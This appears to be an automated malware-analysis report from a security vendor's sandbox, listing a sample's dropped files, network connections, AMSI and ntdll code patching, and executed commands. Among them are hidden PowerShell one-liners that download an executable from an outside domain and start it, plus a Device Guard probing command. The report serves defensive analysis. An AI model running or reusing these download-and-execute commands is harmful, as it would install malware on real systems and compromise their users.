Technical Information
Malicious functions
Patches code
in AMSI dll
- tiworker_xuks.exe process, Amsi.dll module
in NTDLL dll
- tiworker_xuks.exe process, ntdll.dll module
Modifies file system
Creates the following files
- %TEMP%\bk222807.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\ie\xvzp6x40w0wx.bat
- %TEMP%\prnarmld.vbs
- %TEMP%\pbiwmzen.vbs
- %TEMP%\pxezoukf.cmd
- %TEMP%\pbowobfw.vbs
- %LOCALAPPDATA%\microsoft\netframework\breadcrumbstore\uwtsvoip\tiworker_xuks.exe
Network activity
Connects to
- 'vc###ibrary.uk':443
- 'x1.#.lencr.org':80
- '15#.#4.209.223':5173
TCP
HTTP GET requests
- http://x1.#.lencr.org/
Other
- 'vc###ibrary.uk':443
- '15#.#4.209.223':5173
UDP
- DNS ASK vc###ibrary.uk
- DNS ASK x1.#.lencr.org
Miscellaneous
Creates and executes the following
- '%TEMP%\bk222807.exe'
- '<SYSTEM32>\wscript.exe' //B //Nologo "%TEMP%\PRnArmLd.vbs"
- '<SYSTEM32>\cscript.exe' //Nologo "%TEMP%\PBIwMzen.vbs"
- '<SYSTEM32>\cscript.exe' //nologo "%TEMP%\PBowoBfW.vbs"
- '%LOCALAPPDATA%\microsoft\netframework\breadcrumbstore\uwtsvoip\tiworker_xuks.exe' "%LOCALAPPDATA%\Microsoft\Windows\<INETFILES>\IE\xvzp6x40w0wx.bat"
Executes the following
- '<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK222807.exe; Start-Proc...
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK222807.exe; Start-Process -FilePath $env:TEM...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK222807.exe; Start-Process -FilePath $env:TEMP\BK222807.exe...
- '<SYSTEM32>\bcdedit.exe' /enum {current}
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "try { $dg = Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -ClassName Win32_DeviceGuard -ErrorAction Stop; $vbs = $dg.VirtualizationB...
- '<SYSTEM32>\cmd.exe' /c "%LOCALAPPDATA%\Microsoft\Windows\<INETFILES>\IE\xvzp6x40w0wx.bat"
- '<SYSTEM32>\cmd.exe' /c call "%LOCALAPPDATA%\Microsoft\Windows\<INETFILES>\IE\xvzp6x40w0wx.bat" Retail
- '<SYSTEM32>\bcdedit.exe' /enum {current}' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "try { $dg = Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -ClassName Win32_DeviceGuard -ErrorAction Stop; $vbs = $dg.VirtualizationB...' (with hidden window)
- '%TEMP%\bk222807.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%LOCALAPPDATA%\Microsoft\Windows\<INETFILES>\IE\xvzp6x40w0wx.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c call "%LOCALAPPDATA%\Microsoft\Windows\<INETFILES>\IE\xvzp6x40w0wx.bat" Retail' (with hidden window)
